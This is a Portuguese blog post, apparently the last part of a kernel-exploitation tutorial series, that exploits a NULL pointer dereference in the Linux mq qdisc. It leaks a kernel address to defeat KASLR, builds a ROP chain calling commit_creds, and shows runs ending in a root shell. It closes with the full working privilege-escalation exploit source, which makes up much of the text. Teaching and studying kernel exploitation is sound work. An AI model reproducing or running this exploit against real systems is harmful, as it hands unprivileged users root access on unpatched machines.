Como já vimos anteriormente que o código faz algumas escritas nos objetos que temos controle (struct Qdisc, struct Qdisc_ops e struct netdev_queue), podemos analisá-los se há alguma forma de obter endereços do kernel que sejam úteis. O endereço obtido precisa ser de um símbolo do próprio binário do kernel.
No post anterior mostramos parte do código da função dev_graft_qdisc(), que retorna o objeto ‘qdisc' utilizado no loop na função mq_attach(). Além do trecho de código que mostramos, há uma outra parte que é interessante para nosso propósito:
struct Qdisc *dev_graft_qdisc(struct netdev_queue *dev_queue,
struct Qdisc *qdisc)
{
...
rcu_assign_pointer(dev_queue->qdisc, &noop_qdisc);
...
}Lembre-se que o objeto ‘dev_queue‘ nessa função é de nosso controle. Através desse código veja que é feita a escrita do endereço de um objeto global (&noop_qdisc) na memória de um objeto que temos controle. Podemos validar isso com o GDB, inspecionando a memória dos objetos que controlamos:
NOTA: Lembre-se que no endereço NULL há o endereço para um ‘objeto struct Qdisc', que o membro ‘dev_queue' aponta para nosso objeto do tipo ‘struct netdev_queue'. Esses objetos são controlados pelo usuário.
(gdb) c
...
Thread 1 hit Breakpoint 2, qdisc_put (qdisc=0x7fff673ad840) at net/sched/sch_generic.c:1074
1074 {
=> 0xffffffff818258d0 <qdisc_put+0>: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
(gdb) x/gx 0
0x0 <fixed_percpu_data>: 0x00007fff673ad9c0
(gdb) p sizeof(struct Qdisc) / 8
$12 = 48
(gdb) x/48gx 0x00007fff673ad9c0
0x7fff673ad9c0: 0x0000000000000000 0x0000000000000000
0x7fff673ad9d0: 0x0000000000000000 0x0000000000000000
0x7fff673ad9e0: 0x0000000000000000 0x0000000000000000
0x7fff673ad9f0: 0x0000000000000000 0x0000000000000000
0x7fff673ada00: 0x00007fff673ad610 0x0000000000000000
0x7fff673ada10: 0x0000000000000000 0x0000000000000000
0x7fff673ada20: 0x0000000000000000 0x0000000000000000
0x7fff673ada30: 0x0000000000000000 0x0000000000000000
0x7fff673ada40: 0x0000000000000000 0x0000000000000000
0x7fff673ada50: 0x0000000000000000 0x0000000000000000
0x7fff673ada60: 0x0000000000000000 0x0000000000000000
0x7fff673ada70: 0x0000000000000000 0x0000000000000000
0x7fff673ada80: 0x0000000000000000 0x0000000000000000
0x7fff673ada90: 0x0000000000000000 0x0000000000000000
0x7fff673adaa0: 0x0000000000000000 0x0000000000000000
0x7fff673adab0: 0x0000000000000000 0x0000000000000000
0x7fff673adac0: 0x0000000000000000 0x0000000000000000
0x7fff673adad0: 0x0000000000000000 0x0000000000000000
0x7fff673adae0: 0x0000000000000000 0x0000000000000000
0x7fff673adaf0: 0x0000000000000000 0x0000000000000000
0x7fff673adb00: 0x0000000000000000 0x0000000000000000
0x7fff673adb10: 0x0000000000000000 0x0000000000000000
0x7fff673adb20: 0x0000000000000000 0x0000000000000000
0x7fff673adb30: 0x0000000000000000 0x0000000000000000
(gdb) p sizeof(struct netdev_queue) / 8
$13 = 40
(gdb) x/40gx 0x00007fff673ad610
0x7fff673ad610: 0x0000000000000000 0xffffffff82fe63c0
0x7fff673ad620: 0x00007fff673ad9c0 0x0000000000000000
0x7fff673ad630: 0x0000000000000000 0x0000000000000000
0x7fff673ad640: 0x0000000000000000 0x0000000000000000
0x7fff673ad650: 0x0000000000000000 0x0000000000000000
0x7fff673ad660: 0x0000000000000000 0x0000000000000000
0x7fff673ad670: 0x0000000000000000 0x0000000000000000
0x7fff673ad680: 0x0000000000000000 0x0000000000000000
0x7fff673ad690: 0x0000000000000000 0x0000000000000000
0x7fff673ad6a0: 0x0000000000000000 0x0000000000000000
0x7fff673ad6b0: 0x0000000000000000 0x0000000000000000
0x7fff673ad6c0: 0x0000000000000000 0x0000000000000000
0x7fff673ad6d0: 0x0000000000000000 0x0000000000000000
0x7fff673ad6e0: 0x0000000000000000 0x0000000000000000
0x7fff673ad6f0: 0x0000000000000000 0x0000000000000000
0x7fff673ad700: 0x0000000000000000 0x0000000000000000
0x7fff673ad710: 0x0000000000000000 0x0000000000000000
0x7fff673ad720: 0x0000000000000000 0x0000000000000000
0x7fff673ad730: 0x0000000000000000 0x0000000000000000
0x7fff673ad740: 0x0000000000000000 0x0000000000000000
(gdb) x/i 0xffffffff82fe63c0
0xffffffff82fe63c0 <noop_qdisc>: rex
(gdb)Veja que no offset 0x8 do nosso objeto 'netdev_queue‘ (endereço 0x7fff673ad610) há um vazamento de um endereço. Se olharmos do que se trata esse endereço podemos confirmar que é o símbolo ‘noop_qdisc', como visto pelo código da função dev_graft_qdisc() anteriormente.
Podemos fazer a leitura do endereço obtido e subtrair do símbolo original sem o KASLR em funcionamento, assim obtemos o KASLR slide. Vamos testar essa possibilidade. Precisamos fazer com que a vulnerabilidade seja acionada uma vez, mas sem tentar executar código ou fazer a liberação do nosso objeto vítima. Dessa forma, depois de acionada, podemos ler o endereço obtido, corrigir nossos endereços hard coded e então acionar a vulnerabilidade para, dessa vez, realmente executar código com os endereços corretos configurados.
No terceiro post dessa série nós fizemos a prova de conceito ao colocar o endereço de um objeto ‘struct Qdisc' logo no endereço NULL. A função mq_attach() executa o loop, pega o endereço desse objeto logo na primeira iteração, faz as operações de retornar um 'struct Qdisc‘ na variavel ‘old' (ao chamar dev_graft_qdisc()), decrementa o reference counter (quando executa qdisc_put()) e adiciona o objeto em uma hashtable (chamando qdisc_hash_add()). A liberação do objeto e, consequentemente, a execução da callback ->destroy() acontece porque definimos o reference counter do objeto como 1.
static void mq_attach(struct Qdisc *sch)
{
struct net_device *dev = qdisc_dev(sch);
struct mq_sched *priv = qdisc_priv(sch);
struct Qdisc *qdisc, *old;
unsigned int ntx;
for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
qdisc = priv->qdiscs[ntx];
old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
if (old)
qdisc_put(old);
#ifdef CONFIG_NET_SCHED
if (ntx < dev->real_num_tx_queues)
qdisc_hash_add(qdisc, false);
#endif
}
kfree(priv->qdiscs);
priv->qdiscs = NULL;
}
void qdisc_put(struct Qdisc *qdisc)
{
if (!qdisc)
return;
if (qdisc->flags & TCQ_F_BUILTIN ||
!refcount_dec_and_test(&qdisc->refcnt))
return;
qdisc_destroy(qdisc);
}Precisaremos agora acionar a vulnerabilidade duas vezes. A primeira para obter o endereço de kernel randomizado e calcular o KASLR slide. A segunda para obter execução de código e escalar os privilégios. Como queremos que no primeiro acionamento a função mq_attach() seja executada por completo, sem que haja execução da função qdisc_destroy(), podemos modificar nosso código para no endereço NULL ter 16 (a quantidade de iterações do loop) objetos ‘struct Qdisc' com reference counter de modo que não cause a execução de qdisc_destroy().
...
int main (void) {
...
for (int i = 0; i < 16; i++)
mynull[i] = (unsigned long)&myqdisc;
myqdisc.refcnt = 17;
myqdisc.dev_queue = &netdev_queue;
netdev_queue.qdisc_sleeping = &myqdisc;
...
}Com essa modificação o loop é executado por completo, mas sem chegar a executar a callback ->destroy(). Vamos modificar nosso objeto ‘struct netdev_queue' para facilitar a leitura do endereço do kernel obtido:
...
struct netdev_queue {
char pad1[8];
unsigned long noop_qdisc;
void *qdisc_sleeping;
char pad2[360];
};
...
int main (void) {
...
printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);
error:
nl_socket_free(sock_nl);
return err;
}user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
user@debian12:~$Podemos confirmar esse valor lendo o arquivo /proc/kallsyms:
user@debian12:~$ sudo cat /proc/kallsyms | grep -w noop_qdisc
ffffffff82fe63c0 D noop_qdisc
user@debian12:~$De fato, conseguimos o endereço de kernel e está correto, vamos progredir para calcular o KASLR slide. O endereço que obtemos é o valor do símbolo 'noop_qdisc' quando KASLR está desabilitado, então vamos utilizar ele como base e subtrair do valor encontrado. Esse é o cálculo para encontrar o KASLR slide.
...
#define NOOP_QDISC 0xffffffff82fe63c0
...
int main (void) {
...
unsigned long kaslr_slide = 0;
...
printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);
kaslr_slide = netdev_queue.noop_qdisc - NOOP_QDISC;
printf("[*] KASLR slide: 0x%lx\n", kaslr_slide);
error:
nl_socket_free(sock_nl);
return err;
}user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
[*] KASLR slide: 0x0
user@debian12:~$Com a execução, vemos que o KASLR slide indicado é 0. Isso é esperado pois estamos com o KASLR desabilitado nesse momento. O exploit agora precisa ser adaptado com essa nova informação e depois testaremos com a mitigação habilitada.
Os momentos que utilizamos os símbolos hard coded são:
- Ao definir a callback
->destroy()com oSTACK_PIVOT; e - Ao criar a ROP chain
Então vamos mover as linhas de código de quando fazemos essas configurações para depois de obtermos o valor do KASLR slide:
void krop_build (unsigned long * stack, unsigned long kaslr_slide) {
int offset = 0;
if(stack == NULL){
printf("[-] - Error while building kROP\n");
exit(EXIT_FAILURE);
}
stack[offset++] = POP_RDI_RET + kaslr_slide;
stack[offset++] = 0;
stack[offset++] = PREPARE_KERNEL_CRED + kaslr_slide;
stack[offset++] = XCHG_RAX_RDI_CMP_CLTQ_RET + kaslr_slide;
stack[offset++] = COMMIT_CREDS + kaslr_slide;
stack[offset++] = RTNL_UNLOCK + kaslr_slide;
stack[offset++] = POP_RCX_RET + kaslr_slide;
stack[offset++] = (unsigned long)&got_root;
stack[offset++] = POP_R11_RET + kaslr_slide;
stack[offset++] = user_rflags;
stack[offset++] = POP_RSP_SWAPGS_SYSRETQ + kaslr_slide;
stack[offset++] = user_rsp;
}
int main (void) {
...
printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);
kaslr_slide = netdev_queue.noop_qdisc - NOOP_QDISC;
printf("[*] KASLR slide: 0x%lx\n", kaslr_slide);
ops.destroy = (void *)STACK_PIVOT + kaslr_slide;
krop_build(fake_stack + PAGE_SIZE, kaslr_slide);
error:
nl_socket_free(sock_nl);
return err;
}user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
[*] KASLR slide: 0x0
user@debian12:~$Nesse ponto nosso código está executando sem problemas, mas, como podemos ver, a vulnerabilidade não é acionada ao ponto de executar o código que criamos para escalar privilégios. Precisamos acionar novamente a vulnerabilidade. No nosso caso, a vulnerabilidade é acionada ao fazer a troca de um ‘qdisc' na interface. Vamos executar novamente a função que realiza esse passo, agora após de já ter a ROP chain montada levando em consideração KASLR:
int main (void) {
...
if (qdisc_replace(sock_nl, "bond0") < 0) {
perror("qdisc replace");
err = EXIT_FAILURE;
goto error;
}
...
krop_build(fake_stack + PAGE_SIZE, kaslr_slide);
if (qdisc_replace(sock_nl, "bond0") < 0) {
perror("qdisc replace");
err = EXIT_FAILURE;
goto error;
}
...
}user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
[*] KASLR slide: 0x0
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$O código executou e funcionou com sucesso! Vamos habilitar KASLR e reiniciar a máquina para testar:
user@debian12:~$ sudo sed -i 's/nokaslr//' /etc/default/grub
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo rebootVeja, temos a máquina com KASLR habilitado e nosso exploit funciona sem problemas:
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nopti quiet
user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffffad3e63c0
[*] KASLR slide: 0x2a400000
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$SMAP e KPTI
Há ainda duas mitigações que continuam desabilitadas e não realizaremos os bypasses nesse post: SMAP e KPTI. Entenda o motivo:
SMAP (Supervisor Mode Access Prevention) é uma mitigação que, quando a execução estiver em modo kernel, impede o acesso à memória do usuário. Veja que é relativamente semelhante ao SMEP, mas impede acessar memória (ler/escrever) e não apenas executar.
KPTI (Kernel Page-Table Isolation) é um mecanismo que visa mitigar vulnerabilidades de side channel de CPU, especialmente Meltdown. Ela muda o funcionamento das page table do usuário e do kernel. Como abordamos no primeiro post da série, originalmente, a page table é compartilhada entre os processos de modo usuário e o kernel. Quando KPTI está ativo, há uma separação das page tables e algumas diferenças entre elas. A page table do usuário tem mapeada somente algumas entradas do kernel necessárias para o funcionamento do sistema. E a page table do kernel tem mapeada todo o address space do usuário, porém as entradas são marcadas sem a permissão de execução. Esse funcionamento simula em software o comportamento do SMEP, proibindo o kernel de executar códigos localizados em páginas do usuário.
A mitigação SMAP elimina por completo a possibilidade de exploração de uma vulnerabilidade do tipo NULL Pointer Dereference. Com ela habilitada, independente do que o usuário faça, o acesso do kernel à página NULL será proibida e a vulnerabilidade não pode ser abusada.
Com KPTI ativo precisaríamos construir a parte final da ROP chain diferente para que realizasse a restauração correta da page table do usuário ao retornar para a função em modo usuário. Isso é realizável e é um processo simples, mas não foi necessário durante este trabalho, pois essa mitigação não está habilitada por padrão no sistema usado para esse trabalho. Os processadores modernos contém correções que evitam a exploração da vulnerabilidade Meltdown; os processadores afetados contém versões mais atualizadas de microcode que alteram o funcionamento do processador, reduzindo a possibilidade de exploração. Então, se o processador é moderno ou o processador é vulnerável, mas usa uma distribuição com kernel mais novo, nestes sistemas, provavelmente o kernel não habilita KPTI. Então não há a necessidade de bypass.
Conclusão
Escolhemos tratar a classe de vulnerabilidade de NULL pointer dereference, independente dela não ser mais tão interessante atualmente, pelo fato de ela ensinar muito bem, de forma prática e abstrata, como o gerenciamento de memória funciona na arquitetura x86/x86-64 e no kernel do Linux, oferecendo um ambiente real e sem se preocupar com detalhes complexos da própria vulnerabilidade. Esse é o principal objetivo na escrita desta série.
O leitor pode reproduzir todos os detalhes desta série sem se esforçar para entender a abstração fornecida pela arquitetura e pelo kernel do Linux. Mas, se tiver interesse, aqui encontrará respostas, além das referências, que poderão ajudar durante os estudos sobre fundamentos de sistemas operacionais e exploração de vulnerabilidades em kernel.
Além de explorar a vulnerabilidade, precisamos resolver problemas surgidos durante a exploração e realizar os bypasses das mitigações. Esses detalhes são relevantes e interessantes, independente da classe de vulnerabilidade trabalhada. Uma vez compreendido, poderá ser usado em outras classes.
Outro fator importante que levamos em consideração ao escrever esta série é que há alguns anos atrás, ainda era bastante comum explorar vulnerabilidades de NULL pointer dereference e essa foi a base de muitos pesquisadores renomados. É possível encontrar diversos exploits de NULL pointer dereference escritos por grandes nomes da indústria. Oferecemos treinamento de introdução a exploração de vulnerabilidades no kernel do Linux e achamos relevante oferecer ao nosso público um conteúdo introdutório, moderno e similar ao de muitos profissionais renomados hoje em dia.
Ficamos por aqui com esta série de postagens fazendo uma introdução à exploração de vulnerabilidades no kernel do Linux. Nesta série, mostramos como montar o ambiente, alguns detalhes da vulnerabilidade, o acionamento e, também, a exploração. Para uma exploração bem sucedida, ainda mantivemos o sistema estável e funcional, além de realizar os bypasses de mitigações como SMEP e KASLR. Se inscreva em nosso blog e acompanhe nossas postagens.
Se deseja aprender mais detalhes sobre arquitetura de computadores, kernel do Linux e exploração de vulnerabilidades, não perca nosso treinamento que será realizado na próxima semana. Uma verdadeira imersão no mundo de vulnerability research. Aproveite enquanto ainda há vagas disponíveis.
Gostaria de uma avaliação sobre a segurança dos seus sistemas e fortificá-los com profissionais altamente capacitados? Entre em contato.
Referências
Caso deseje mais materiais sobre os assuntos deste post, recomendamos as seguintes fontes:
- Ferramenta que comentamos para ROP:
- Mitigações:
- SMEP (Supervisor Mode Execution Protection)
- KASLR (Kernel Address Space Layout Randomization)
- SMAP (Supervisor Mode Access Prevention)
- KPTI (Kernel Page-Table Isolation)
Código final do exploit
O código do exploit foi construído passo a passo ao longo deste post, mas aqui está sua versão completa. Para compilá-lo, utilize o comando abaixo.
$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/if.h>
#include <sys/mman.h>
#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>
#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>
#define PAGE_SIZE 4096
#define PAGES 1
#define STACK_PIVOT 0xffffffff81905de1
#define FAKE_STACK 0xf6000000
#define POP_RDI_RET 0xffffffff8100234d
#define XCHG_RAX_RDI_CMP_CLTQ_RET 0xffffffff81045884
#define POP_RCX_RET 0xffffffff81901a1a
#define POP_R11_RET 0xffffffff81506b1c
#define POP_RSP_SWAPGS_SYSRETQ 0xffffffff81c0018f
#define PREPARE_KERNEL_CRED 0xffffffff810cd370
#define COMMIT_CREDS 0xffffffff810cd0d0
#define RTNL_UNLOCK 0xffffffff817c6ac0
#define NOOP_QDISC 0xffffffff82fe63c0
struct netdev_queue {
char pad1[8];
unsigned long noop_qdisc;
void *qdisc_sleeping;
char pad2[360];
};
struct Qdisc_ops {
char pad1[80];
void *destroy;
char pad2[88];
};
struct Qdisc {
char pad1[24];
struct Qdisc_ops *ops;
char pad2[32];
void *dev_queue;
char pad3[28];
int refcnt;
char pad4[280];
} __attribute__((__aligned__(64)));
unsigned long user_rsp, user_rflags;
void setup_namespace(void) {
int f;
printf("[*] Creating namespace\n");
if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
perror("unshare");
exit(EXIT_FAILURE);
}
f = open("/proc/self/uid_map", O_WRONLY);
if(f < 0) {
perror("cannot open /proc/self/uid_map");
exit(EXIT_FAILURE);
}
if(write(f, "0 1000 1", 8) < 0) {
perror("cannot write on /proc/self/uid_map");
close(f);
exit(EXIT_FAILURE);
}
close(f);
}
int create_bond_interface(struct nl_sock * nl, char * name) {
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Creating interface %s\n", name);
link = rtnl_link_bond_alloc();
if (link == NULL){
return -1;
}
rtnl_link_set_name(link, name);
ret = rtnl_link_add(nl, link, NLM_F_CREATE);
rtnl_link_put(link);
return ret;
}
int set_interface_up(struct nl_sock * nl, char * name) {
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Setting interface %s up\n", name);
link = rtnl_link_bond_alloc();
if (link == NULL){
return -1;
}
rtnl_link_set_name(link, name);
rtnl_link_set_flags(link, IFF_UP);
ret = rtnl_link_add(nl, link, NLM_F_CREATE);
rtnl_link_put(link);
return ret;
}
int qdisc_add(struct nl_sock * nl, char * name) {
struct rtnl_qdisc *qdisc;
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Adding a qdisc to %s interface\n", name);
qdisc = rtnl_qdisc_alloc();
if (qdisc < 0) {
perror("qdisc allocatio\n");
return -1;
}
if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
perror("can't find interface");
rtnl_qdisc_put(qdisc);
return -1;
}
printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));
rtnl_tc_set_link(TC_CAST(qdisc), link);
rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
rtnl_tc_set_kind(TC_CAST(qdisc), "mq");
ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);
rtnl_qdisc_put(qdisc);
rtnl_link_put(link);
return ret;
}
int qdisc_replace(struct nl_sock * nl, char * name) {
struct rtnl_qdisc *qdisc_new;
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Replace qdisc on %s interface\n", name);
qdisc_new = rtnl_qdisc_alloc();
if (qdisc_new < 0) {
perror("qdisc new allocatio\n");
return -1;
}
if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
perror("can't find interface");
rtnl_qdisc_put(qdisc_new);
return -1;
}
rtnl_tc_set_link(TC_CAST(qdisc_new), link);
rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");
ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);
rtnl_qdisc_put(qdisc_new);
rtnl_link_put(link);
return ret;
}
void save_registers (void) {
asm(
"mov %%rsp, %0;"
"pushf;"
"pop %1;"
: "=r" (user_rsp),
"=r" (user_rflags)
);
}
void got_root (void) {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0) {
printf("[*] Got root!\n");
execve(argv[0], argv, NULL);
exit(EXIT_SUCCESS);
} else {
printf("[*] We didn't get root, UID: %d\n", getuid());
exit(EXIT_FAILURE);
}
}
void krop_build (unsigned long * stack, unsigned long kaslr_slide) {
int offset = 0;
if(stack == NULL){
printf("[-] - Error while building kROP\n");
exit(EXIT_FAILURE);
}
stack[offset++] = POP_RDI_RET + kaslr_slide;
stack[offset++] = 0;
stack[offset++] = PREPARE_KERNEL_CRED + kaslr_slide;
stack[offset++] = XCHG_RAX_RDI_CMP_CLTQ_RET + kaslr_slide;
stack[offset++] = COMMIT_CREDS + kaslr_slide;
stack[offset++] = RTNL_UNLOCK + kaslr_slide;
stack[offset++] = POP_RCX_RET + kaslr_slide;
stack[offset++] = (unsigned long)&got_root;
stack[offset++] = POP_R11_RET + kaslr_slide;
stack[offset++] = user_rflags;
stack[offset++] = POP_RSP_SWAPGS_SYSRETQ + kaslr_slide;
stack[offset++] = user_rsp;
}
int main (void) {
struct nl_sock *sock_nl;
struct Qdisc myqdisc;
struct Qdisc_ops ops;
struct netdev_queue netdev_queue;
unsigned long *mynull;
unsigned long kaslr_slide = 0;
void *fake_stack;
int err = 0;
memset(&myqdisc, 0, sizeof(myqdisc));
memset(&ops, 0, sizeof(ops));
memset(&netdev_queue, 0, sizeof(netdev_queue));
setup_namespace();
mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (mynull == MAP_FAILED) {
perror("null mapping");
exit(EXIT_FAILURE);
}
for (int i = 0; i < 16; i++)
mynull[i] = (unsigned long)&myqdisc;
myqdisc.refcnt = 17;
myqdisc.dev_queue = &netdev_queue;
netdev_queue.qdisc_sleeping = &myqdisc;
myqdisc.ops = &ops;
fake_stack = mmap((void *)FAKE_STACK - PAGE_SIZE, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (fake_stack == MAP_FAILED) {
perror("fake stack mapping");
exit(EXIT_FAILURE);
}
*(char *)fake_stack = 0;
save_registers();
sock_nl = nl_socket_alloc();
if(sock_nl == NULL){
perror("nl_socket_alloc");
exit(EXIT_FAILURE);
}
if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
perror("connect");
err = EXIT_FAILURE;
goto error;
}
if (create_bond_interface(sock_nl, "bond0") < 0) {
perror("bond_interface");
err = EXIT_FAILURE;
goto error;
}
if (set_interface_up(sock_nl, "bond0") < 0) {
perror("bond_interface");
err = EXIT_FAILURE;
goto error;
}
if (qdisc_add(sock_nl, "bond0") < 0) {
perror("qdisc add");
err = EXIT_FAILURE;
goto error;
}
if (qdisc_replace(sock_nl, "bond0") < 0) {
perror("qdisc replace");
err = EXIT_FAILURE;
goto error;
}
printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);
kaslr_slide = netdev_queue.noop_qdisc - NOOP_QDISC;
printf("[*] KASLR slide: 0x%lx\n", kaslr_slide);
ops.destroy = (void *)STACK_PIVOT + kaslr_slide;
krop_build(fake_stack + PAGE_SIZE, kaslr_slide);
if (qdisc_replace(sock_nl, "bond0") < 0) {
perror("qdisc replace");
err = EXIT_FAILURE;
goto error;
}
error:
nl_socket_free(sock_nl);
return err;
}